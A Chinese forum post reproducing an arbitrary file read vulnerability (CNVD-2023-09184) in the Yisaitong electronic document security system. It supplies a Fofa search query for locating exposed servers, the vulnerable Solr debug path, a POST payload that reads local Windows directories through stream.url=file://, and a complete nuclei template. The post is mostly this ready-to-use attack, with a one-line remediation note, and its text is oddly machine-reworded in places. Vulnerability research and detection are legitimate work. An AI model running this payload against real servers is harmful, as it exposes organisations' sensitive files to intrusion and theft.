ToB企服应用市场:ToB评测及商务社交产业平台

标题: (漏洞复现:CNVD-2023-09184)亿赛通电子文档安全管理系统任意文件读取漏洞 [打印本页]
作者: 卖不甜枣    时间: 2024-8-22 05:11
标题: (漏洞复现:CNVD-2023-09184)亿赛通电子文档安全管理系统任意文件读取漏洞
产品介绍&&漏洞形貌

亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统使用驱动层透明加密技术，通过对电子文档的加密掩护，防止内部员工泄密和外部人员非法窃取企业焦点紧张数据资产，对电子文档举行全生命周期防护，系统具有透明加密、自动加密、智能加密等多种加密方式，用户可根据部门涉密程度的差别（如焦点部门和普通部门），摆设力度轻重不一的梯度式文档加密防护，实现技术、管理、审计举行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、服从和安全三者达到平衡，实现电子文档的数据安全。
亿赛通电子文档安全管理系统任意文件读取漏洞（CNVD-2023-09184），攻击者可通过此漏洞获取敏感信息。
漏洞复现

1：Fofa语法
app=”亿赛通-电子文档安全管理系统”



2：界面如下



3：漏洞复现
打开页面，通过GET请求输入路径
  1. /solr/flow/debug/dump?param=ContentStreams
复制代码
界面返回内容

使用burp抓包
 


修改成post请求添加poc
poc：
路径：
  1. /solr/flow/debug/dump?param=ContentStreams
  3. stream.url=file:///C:\Program Files\
复制代码


成功读取文件
nuclei验证

  1. id: yisaitong-CNVD-2023-09184
  2. info:
  3. name: yisaitong-CNVD-2023-09184
  4. author:
  5. severity: high
  6. description: |
  7. 亿赛通电子文档安全管理系统是一款电子文档安全加密软件。亿赛通电子文档安全管理系统存在任意文件读取漏洞，攻击者可利用该漏洞获取敏感信息。
  8. reference:
  9. 亿赛通电子文档安全管理系统存在任意文件读取漏洞（CNVD-2023-09184） - Kode's ...
  10. metadata:
  11. max-request: 3
  12. fofa-query: app="亿赛通-电子文档安全管理系统"
  13. hunter-query:
  14. verified: true
  15. tags: 2023,yisaitong,亿赛通,任意文件读取
  17. http:
  18. - raw:
  19. - |
  20. POST /solr/flow/debug/dump?param=ContentStreams HTTP/1.1
  21. Host: {{Hostname}}
  22. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
  23. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  24. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  25. Accept-Encoding: gzip, deflate
  26. Upgrade-Insecure-Requests: 1
  27. Cache-Control: max-age=0
  28. Content-Type: application/x-www-form-urlencoded
  29. Content-Length: 42
  31. stream.url=file:///C:\Program Files\
  32. matchers:
  33. - type: word
  34. words:
  35. - 'org.apache.solr.handler.DumpRequestHandler'
复制代码


修复发起

1、产商已发布安全版本，请联系产商修复
       免费领取安全学习资料包！


   

   

   
渗出工具

   

   
技术文档、书籍

   
 

   

   
口试题

   
帮助你在口试中脱颖而出

   

   
视频

   
基础到进阶

   
环境搭建、HTML，PHP，MySQL基础学习，信息网络，SQL注入,XSS，CSRF，暴力破解等等

   
 

   

   
应急响应条记

   

   
学习路线

   


免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4